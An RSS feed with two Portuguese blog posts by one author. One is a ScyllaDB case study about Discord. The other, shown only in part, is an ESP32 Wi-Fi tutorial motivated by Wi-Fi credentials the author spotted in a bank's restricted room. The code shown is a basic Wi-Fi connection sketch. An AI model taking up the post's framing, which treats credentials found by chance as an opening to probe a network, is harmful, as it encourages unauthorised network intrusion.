<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Higor Diego</title>
    <description>The latest articles on Forem by Higor Diego (@higordiego).</description>
    <link>https://forem.com/higordiego</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F233406%2F7ba5bb32-40a7-4b85-9bcb-8f3cb288d422.jpeg</url>
      <title>Forem: Higor Diego</title>
      <link>https://forem.com/higordiego</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/higordiego"/>
    <language>en</language>
    <item>
      <title>Por dentro do ScyllaDB: A escolha do Discord para performance máxima</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Mon, 26 Jan 2026 12:38:31 +0000</pubDate>
      <link>https://forem.com/higordiego/por-dentro-do-scylladb-a-escolha-do-discord-para-performance-maxima-3l6f</link>
      <guid>https://forem.com/higordiego/por-dentro-do-scylladb-a-escolha-do-discord-para-performance-maxima-3l6f</guid>
      <description>&lt;p&gt;Para qualquer profissional de tecnologia, projetar sistemas que operam em hiperescala é um dos desafios mais complexos e fascinantes. Poucas empresas no mundo lidam com uma escala tão extrema quanto o Discord, uma plataforma que conecta milhões de usuários simultaneamente, processando um volume de dados que beira o inimaginável.&lt;/p&gt;

&lt;p&gt;A experiência do usuário em uma plataforma como essa é diretamente impactada pela latência. Uma simples mensagem que demora a chegar pode degradar a qualidade do serviço. Agora, imagine esse desafio na escala de trilhões de mensagens. Para o Discord, a latência não era um incômodo, mas um obstáculo crítico que precisava ser superado.&lt;/p&gt;

&lt;p&gt;Neste artigo, faremos uma análise técnica da jornada do Discord, desde os desafios de escalabilidade com tecnologias tradicionais até a migração para o ScyllaDB, o banco de dados que se tornou a solução para seus problemas de performance. Se você se interessa por arquitetura de sistemas distribuídos e soluções de engenharia para problemas de larga escala, este estudo de caso é para você.&lt;/p&gt;

&lt;p&gt;Casos como o do Discord não são exceção no mercado. Em diferentes projetos que acompanhamos, vemos empresas enfrentando exatamente os mesmos sintomas: crescimento rápido, aumento de usuários, mais dados sendo processados e, junto com isso, latência subindo, custos explodindo e instabilidade aparecendo em momentos críticos.&lt;/p&gt;

&lt;p&gt;Muitos clientes chegam até nós quando o sistema “ainda funciona”, mas já começou a dar sinais claros de estresse: picos de latência, filas acumulando, banco de dados no limite e times apagando incêndio em produção. Esse é exatamente o ponto onde decisões arquiteturais passam a ser tão importantes quanto novas funcionalidades.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Jornada por Performance: De MongoDB a ScyllaDB
&lt;/h3&gt;

&lt;p&gt;A história da infraestrutura do Discord é uma verdadeira saga de engenharia, uma busca contínua pela performance perfeita em uma escala que poucos ousam enfrentar.&lt;/p&gt;

&lt;h3&gt;
  
  
  Os Primeiros Dias com MongoDB
&lt;/h3&gt;

&lt;p&gt;No início, como muitas startups, o Discord utilizava MongoDB. Era uma solução flexível, de fácil desenvolvimento e que serviu bem ao propósito inicial. Contudo, a plataforma tinha uma característica fundamental: uma carga de trabalho extremamente pesada em escrita (write-heavy). Cada mensagem enviada é uma nova escrita no banco de dados.&lt;/p&gt;

&lt;p&gt;Quando o Discord atingiu a marca de 100 milhões de mensagens, os problemas começaram a aparecer. O conjunto de dados e índices já não cabia mais na RAM, e a latência, antes previsível, começou a disparar. O MongoDB, embora excelente para muitos casos de uso, não era otimizado para a avalanche de escritas que o Discord precisava suportar. A arquitetura estava chegando ao seu limite.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Era do Cassandra e a Busca por Escalabilidade
&lt;/h3&gt;

&lt;p&gt;A equipe de engenharia precisava de uma solução construída para escalabilidade e cargas de trabalho de escrita massivas. A escolha natural na época (por volta de 2017) foi o Cassandra.&lt;/p&gt;

&lt;p&gt;O Cassandra foi projetado com uma arquitetura distribuída e sem mestre (masterless), otimizada para alta disponibilidade e, crucialmente, para uma performance de escrita excepcional. A migração foi um sucesso e permitiu que o Discord continuasse sua trajetória de crescimento exponencial, chegando a bilhões e, eventualmente, trilhões de mensagens.&lt;/p&gt;

&lt;h3&gt;
  
  
  Novas Fronteiras, Novos Desafios
&lt;/h3&gt;

&lt;p&gt;Mesmo uma ferramenta poderosa como o Cassandra tem seus limites quando levada a um extremo que poucas empresas no mundo já viram. Com um cluster de 177 nós e trilhões de mensagens, novos inimigos da performance surgiram:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;O "Garbage Collector" da JVM: O Cassandra roda na JVM, e suas pausas para "coleta de lixo", embora geralmente rápidas, tornavam-se um problema massivo em um cluster daquele tamanho. Essas pausas geravam picos de latência que se propagavam pelo sistema, afetando a experiência do usuário de forma imprevisível.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;"Partições Quentes" (Hot Partitions): Servidores ou canais extremamente populares concentravam um volume desproporcional de tráfego em nós específicos do cluster. Esses nós superaqueciam, criando gargalos que retardavam as operações para todos.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A equipe do Discord se viu novamente em uma encruzilhada. Eles não precisavam de um pequeno ajuste; eles precisavam de um salto quântico em eficiência. Era hora de repensar a fundação mais uma vez. E foi nessa busca que o ScyllaDB entrou no radar.&lt;/p&gt;

&lt;p&gt;O diferencial do ScyllaDB não reside apenas em ser 'mais rápido', mas em sua arquitetura fundamental, que prometia resolver a causa raiz dos problemas que eles enfrentavam com o Cassandra.&lt;/p&gt;

&lt;p&gt;Esse tipo de cenário é muito parecido com o que vemos em clientes que crescem rápido: a tecnologia que funcionava bem no início começa a virar gargalo. Não é falha da ferramenta, é mudança de contexto. Arquitetura que nasce pequena precisa evoluir conforme o negócio muda.&lt;/p&gt;

&lt;h3&gt;
  
  
  Análise da Arquitetura: O Poder do ScyllaDB
&lt;/h3&gt;

&lt;p&gt;Para entender o poder do ScyllaDB, a analogia de um restaurante de alta performance é útil. Enquanto outras soluções podem ter uma "cozinha compartilhada" que gera contenção, o ScyllaDB projeta cada componente para máxima eficiência.&lt;/p&gt;

&lt;p&gt;Os pilares dessa arquitetura são:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Base em C++: Ao ser escrito em C++, o ScyllaDB opera mais próximo ao hardware, eliminando a camada de abstração da JVM e, consequentemente, as pausas imprevisíveis causadas pelo Garbage Collector. O resultado é uma performance com menos sobrecarga e maior previsibilidade.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Arquitetura "Shard-per-Core": Este é o ponto central de sua eficiência. Em vez de compartilhar recursos, o ScyllaDB designa um núcleo de CPU (um "shard") para gerenciar um conjunto específico de dados. Cada shard tem sua própria memória, cache e I/O. Isso elimina a contenção por recursos e otimiza o paralelismo, permitindo que o banco de dados escale linearmente com o número de núcleos.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Framework Assíncrono Seastar: O Seastar é o motor que impulsiona essa arquitetura. É um framework de programação de alta performance que gerencia as tarefas de forma assíncrona, garantindo que os núcleos da CPU estejam sempre processando dados, sem tempos ociosos ou bloqueios desnecessários.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Essa fundação arquitetônica ataca diretamente os problemas enfrentados pelo Discord: elimina as pausas do Garbage Collector e, graças à eficiência do modelo shard-per-core, gerencia as partições quentes de forma muito mais eficaz.&lt;/p&gt;

&lt;p&gt;Em projetos com clientes, usamos esse mesmo tipo de análise: entender onde existe contenção, onde há disputa por recursos e onde a arquitetura impede o paralelismo. Nem sempre a solução é ScyllaDB, mas o método de pensar é sempre o mesmo: resolver a causa do problema, não apenas o sintoma.&lt;/p&gt;

&lt;h3&gt;
  
  
  Escalabilidade no ScyllaDB: Como Funciona?
&lt;/h3&gt;

&lt;p&gt;A escalabilidade do ScyllaDB vai além do shard-per-core. Ela se baseia em uma arquitetura distribuída, sem mestre (masterless), onde todos os nós são iguais. Na nossa experiência, o ponto crítico a entender é como os dados são distribuídos…&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Distribuição em Anel (Token Ring): Os dados no ScyllaDB são distribuídos em um anel usando hashing consistente. Cada nó no cluster é responsável por um ou mais intervalos de dados (tokens). Quando você escreve um dado, uma função de hash é aplicada à chave de partição para determinar em qual nó (e seu respectivo shard) aquele dado deve ser armazenado.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fator de Replicação (Replication Factor): Para garantir a alta disponibilidade, os dados não são armazenados em apenas um nó. O fator de replicação define quantas cópias de cada dado existirão no cluster. Um fator de 3, por exemplo, significa que cada pedaço de dado será replicado em 3 nós diferentes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Protocolo Gossip: Como os nós sabem uns dos outros? Através do protocolo Gossip. Periodicamente, cada nó "fofoca" com outros nós aleatórios, trocando informações sobre o estado do cluster. É assim que um nó descobre se outro ficou offline ou se um novo nó entrou no cluster.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Escalabilidade Elástica: Adicionar um novo nó ao cluster é um processo transparente. O novo nó anuncia sua presença via Gossip, recebe suas responsabilidades no anel de tokens, e o cluster automaticamente começa a transferir os dados relevantes para ele, rebalanceando a carga sem a necessidade de intervenção manual.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Essa combinação de distribuição, replicação e comunicação descentralizada é o que permite ao ScyllaDB escalar horizontalmente, simplesmente adicionando mais máquinas.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vantagens e Desvantagens: Quando ScyllaDB Brilha (e Quando Não)?
&lt;/h3&gt;

&lt;p&gt;Nenhuma tecnologia é bala de prata. Como especialista, é crucial avaliar os prós e contras.&lt;/p&gt;

&lt;p&gt;Vantagens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Performance Extrema: Para cargas de trabalho de alta escrita e leitura que exigem baixa latência, o ScyllaDB é, sem dúvida, um dos bancos de dados mais rápidos do mercado.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Custo-Benefício em Escala: Graças à sua eficiência, você geralmente precisa de menos nós (e hardware menos robusto) em comparação com o Cassandra para atingir a mesma performance, o que se traduz em economia de custos.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Compatibilidade com o Ecossistema Cassandra: A compatibilidade com a CQL e os drivers do Cassandra é uma vantagem imensa, facilitando migrações e o aproveitamento de ferramentas existentes.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Desvantagens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Complexidade Operacional: Não se engane, ScyllaDB é um sistema distribuído complexo. O gerenciamento, monitoramento e troubleshooting de um cluster exigem conhecimento especializado.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Curva de Aprendizagem: Embora a CQL seja familiar, otimizar a performance e entender as métricas específicas do ScyllaDB (diferentes das do Cassandra) exige estudo.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Modelo de Dados Restritivo: Assim como outros bancos NoSQL, o ScyllaDB não é uma solução para todos os problemas. A ausência de JOINs e a necessidade de modelar os dados em torno das suas consultas são cruciais. Se o seu caso de uso exige consultas complexas e ad-hoc, um banco de dados SQL pode ser mais apropriado.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Para clientes, esse tipo de avaliação é essencial. Não existe tecnologia perfeita, existe tecnologia adequada ao momento do negócio, ao time e ao orçamento. Parte do nosso trabalho é justamente ajudar a escolher a ferramenta certa para o desafio certo.&lt;/p&gt;

&lt;h3&gt;
  
  
  Minha Opinião de Especialista:
&lt;/h3&gt;

&lt;p&gt;Eu recomendo o ScyllaDB para cenários onde a baixa latência e a alta taxa de transferência (throughput) são requisitos não negociáveis. Pense em feeds de atividades, sistemas de IoT, time-series data, e aplicações de chat em larga escala como o Discord. Se você já usa Cassandra e está enfrentando gargalos de performance, o ScyllaDB é o candidato natural para uma migração.&lt;/p&gt;

&lt;p&gt;Contudo, para projetos menores ou equipes sem experiência em sistemas distribuídos, a complexidade operacional pode ser um obstáculo. Nesses casos, um banco de dados gerenciado (DBaaS) ou uma tecnologia mais simples pode ser um ponto de partida mais sensato.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Migração: Uma Operação Cirúrgica
&lt;/h3&gt;

&lt;p&gt;A teoria por trás do ScyllaDB é sólida, mas o desafio da migração era imenso. Como mover trilhões de mensagens para um novo banco de dados sem indisponibilidade ou perda de dados?&lt;/p&gt;

&lt;p&gt;A equipe do Discord executou um plano de migração notável. Em vez de usar ferramentas padrão, eles desenvolveram uma solução customizada em Rust para garantir a máxima performance. Os resultados da migração foram impressionantes: a ferramenta atingiu picos de 3.2 milhões de registros por segundo.&lt;/p&gt;

&lt;p&gt;O processo completo, que tinha uma estimativa inicial de três meses, foi concluído em impressionantes 9 dias.&lt;/p&gt;

&lt;p&gt;Em projetos reais, nem toda migração é tão extrema, mas o cuidado é o mesmo: planejar, testar, validar e executar sem interromper o negócio. Migração bem feita é aquela que o usuário final nem percebe.&lt;/p&gt;

&lt;h3&gt;
  
  
  Os Resultados Falam por Si
&lt;/h3&gt;

&lt;p&gt;Os resultados pós-migração foram transformadores e validaram a escolha da nova arquitetura. Os ganhos de performance e eficiência foram imediatos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Latência: Os picos de latência, que antes chegavam a 500ms, foram eliminados. O sistema se estabilizou em uma latência constante de 5ms.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Infraestrutura: O cluster foi drasticamente reduzido de 177 para apenas 72 nós, uma economia de quase 60% em infraestrutura.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Custos: Consequentemente, a redução no número de máquinas gerou uma economia significativa nos custos operacionais.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Com essa migração, o Discord não apenas resolveu seu problema de latência, mas também construiu uma fundação mais estável, eficiente e escalável para o futuro.&lt;/p&gt;

&lt;p&gt;Para nós, estudar casos como esse não é só curiosidade técnica. É parte do nosso processo de preparar soluções melhores para os clientes, antecipando problemas que eles ainda nem sentiram — mas que certamente sentirão se o sistema crescer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusão: A Ferramenta Certa para o Desafio Certo
&lt;/h3&gt;

&lt;p&gt;A história do Discord não é apenas sobre a troca de um banco de dados por outro. É uma lição sobre a importância de entender a fundo os problemas de arquitetura e não ter medo de questionar o status quo para encontrar a solução certa. Ao escolher ScyllaDB, a equipe de engenharia do Discord não optou pelo caminho mais fácil, mas pelo caminho que resolvia a causa raiz de seus problemas de latência e escalabilidade.&lt;/p&gt;

&lt;p&gt;Para desenvolvedores e arquitetos, o aprendizado é claro: o sucesso de um sistema em hiperescala depende fundamentalmente das escolhas de sua fundação. Analisar casos como este nos prepara para tomar decisões mais informadas em nossos próprios projetos, independentemente da escala.&lt;/p&gt;

&lt;p&gt;A pergunta final é: qual desafio de arquitetura você está enfrentando hoje — e o que precisaria mudar na sua fundação para que ele deixe de ser um problema amanhã?&lt;/p&gt;

</description>
      <category>devops</category>
      <category>architecture</category>
      <category>scylladb</category>
      <category>discord</category>
    </item>
    <item>
      <title>Explorando redes com ESP32 WIFI.</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sun, 26 Nov 2023 14:35:09 +0000</pubDate>
      <link>https://forem.com/higordiego/explorando-redes-com-esp32-wifi-4b09</link>
      <guid>https://forem.com/higordiego/explorando-redes-com-esp32-wifi-4b09</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvskm5c1giiu11b6cgb90.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvskm5c1giiu11b6cgb90.png" alt="ESP32 Wifi"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Recentemente, vivenciei uma situação peculiar em um banco durante uma revista em minha bolsa. Foi constatado que a entrada de notebooks não era permitida na área específica, levando o guarda encarregado da revista a retirar meu notebook, em conformidade com as normas estabelecidas.&lt;/p&gt;

&lt;p&gt;No entanto, o que despertou minha curiosidade foi o fato de que outros dispositivos periféricos, como bateria, cabos e um ESP32, permaneceram na bolsa, possibilitando minha entrada na área restrita. Após adentrar o recinto, fui conduzido a uma sala para aguardar o gerente. Durante esse período, aproveitei para realizar uma análise do ambiente e, para minha surpresa, deparei-me com um papel sobre a mesa contendo as informações de login e senha da rede Wi-Fi interna.&lt;/p&gt;

&lt;p&gt;Essa situação suscitou uma reflexão: se a restrição de entrada com notebooks visa à segurança, será que o ESP32 não poderia ser utilizado para efetuar ataques à rede? Com base nessa ponderação, optei por redigir este artigo com o intuito de explorar um estudo sobre redes, buscando compreendê-las sem a utilização de notebooks ou ferramentas avançadas como o nmap (por exemplo), concentrando-se apenas no ESP32.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;É fundamental salientar que o propósito deste artigo é proporcionar informações relevantes sobre segurança, sendo estritamente um estudo teórico.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  O que e arduino ?
&lt;/h2&gt;

&lt;p&gt;Arduino é uma plataforma de prototipagem de código aberto que consiste em hardware e software projetados para facilitar o desenvolvimento de projetos eletrônicos. O hardware Arduino é baseado em placas de circuito integradas com microcontroladores e uma interface de programação. Já o software consiste em uma IDE (Ambiente de Desenvolvimento Integrado) que permite a programação dessas placas.&lt;/p&gt;

&lt;p&gt;Principais características do Arduino:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Microcontrolador:&lt;/strong&gt; As placas Arduino são equipadas com microcontroladores que executam programas escritos em uma linguagem de programação derivada do C/C++.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IDE Arduino:&lt;/strong&gt; A IDE Arduino fornece um ambiente de programação simples e intuitivo, facilitando o desenvolvimento de código para controle de dispositivos e interação com sensores.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Placas Variadas:&lt;/strong&gt; Existem várias placas Arduino com diferentes especificações e tamanhos, desde placas básicas para projetos simples até modelos mais avançados com maior poder de processamento e recursos adicionais.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Entradas e Saídas (I/O):&lt;/strong&gt; As placas Arduino têm pinos de entrada/saída (I/O) que permitem a conexão a diferentes componentes eletrônicos, como sensores, LEDs, motores, entre outros.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comunicação:&lt;/strong&gt; As placas Arduino suportam diferentes métodos de comunicação, como USB, UART, I2C e SPI, permitindo a interação com outros dispositivos e módulos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comunidade Ativa:&lt;/strong&gt; Arduino possui uma comunidade global ativa que compartilha projetos, códigos e oferece suporte, facilitando o aprendizado e a resolução de problemas.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  O que é ESP32?
&lt;/h2&gt;

&lt;p&gt;O ESP32 é um microcontrolador de baixo custo, baixa potência e altamente integrado, pertencente à família ESP8266. Desenvolvido pela Espressif Systems, uma empresa chinesa, este microcontrolador é amplamente utilizado em projetos de Internet das Coisas (IoT) devido às suas capacidades de conectividade Wi-Fi e Bluetooth.&lt;/p&gt;

&lt;p&gt;Reconhecido por sua versatilidade e desempenho, o ESP32 oferece uma ampla gama de recursos, incluindo processador dual-core, conectividade sem fio, GPIOs (General Purpose Input/Output), capacidade de interface com sensores e periféricos, além de suporte a diversos protocolos de comunicação. Tais características fazem dele uma escolha popular para aplicações em IoT, automação residencial, projetos de eletrônica e desenvolvimento de protótipos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Configuração Necessária
&lt;/h2&gt;

&lt;p&gt;A seguir, listamos alguns itens essenciais para a realização do estudo de caso.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.arduino.cc/software/ide-v2" rel="noopener noreferrer"&gt;IDE Arduino&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.robocore.net/wifi/esp32-wifi-bluetooth?gad_source=1" rel="noopener noreferrer"&gt;ESP32 Wifi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conexao de rede.
&lt;/h2&gt;

&lt;p&gt;No esp32 podemos se conectar na wifi e com isso iremos analisar o codigo simples que nos possibilita a conexao.&lt;/p&gt;

&lt;p&gt;Segue abaixo o codigo:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;

&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;WiFi.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SEU_SSID"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SUA_SENHA"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// Conectar-se à rede WiFi&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectando a "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;WL_CONNECTED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectado ao WiFi"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Endereço IP: "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Com referência ao exemplo anterior, procedemos com a explicação detalhada, partindo do código apresentado.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inclusão da Biblioteca WiFi:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;WiFi.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Isso inclui a biblioteca WiFi, necessária para lidar com as funcionalidades de conexão WiFi do ESP32.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Definição das Credenciais da Rede WiFi:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SEU_SSID"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"SUA_SENHA"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Substitua "SEU_SSID" e "SUA_SENHA" pelos respectivos SSID e senha da sua rede WiFi.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Configuração do Ambiente no Método setup():&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

